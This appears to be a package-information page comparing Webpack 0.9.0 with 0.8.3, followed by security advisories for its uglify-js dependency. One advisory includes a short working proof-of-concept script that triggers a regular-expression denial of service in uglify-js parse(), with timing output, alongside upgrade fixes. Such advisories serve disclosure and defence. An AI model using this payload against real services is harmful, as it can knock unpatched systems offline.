Webpack 0.9.0 marks a notable evolution from version 0.8.3, offering developers enhanced capabilities and addressing key areas of module bundling. The core functionality remains centered around packing CommonJs/AMD modules for browsers, enabling code splitting for on-demand loading and supporting loaders to preprocess various file types. However, version 0.9.0 expands the feature set with the addition of Labeled Modules and, crucially, introduces built-in support for preprocessing JSON, Jade, CoffeeScript, CSS, and LESS files, streamlining development workflows.
A significant difference lies in the dependencies, with 0.9.0 introducing new modules like async, clone, mkdirp, tapable, webpack-core, and node-libs-browser, signaling a shift towards a more modular and robust architecture. Notably, enhanced-resolve is updated from 0.4.x to 0.5.x, likely improving module resolution capabilities. Conversely, sprintf and enhanced-require are removed, suggesting internal restructuring. Development dependencies reflect similar improvements, notably with the introduction of i18n-webpack-plugin, highlighting an increased focus on internationalization. Existing dev dependencies like css-loader and other loaders are upgraded in 0.9.0 to newer versions 0.5.x from older less capable and bugfixed 0.2.x versions demonstrating the evolution of associated tools within the Webpack ecosystem. The update offers a more streamlined, feature-rich experience for developers seeking efficient and flexible module bundling.
All the vulnerabilities related to the version 0.9.0 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.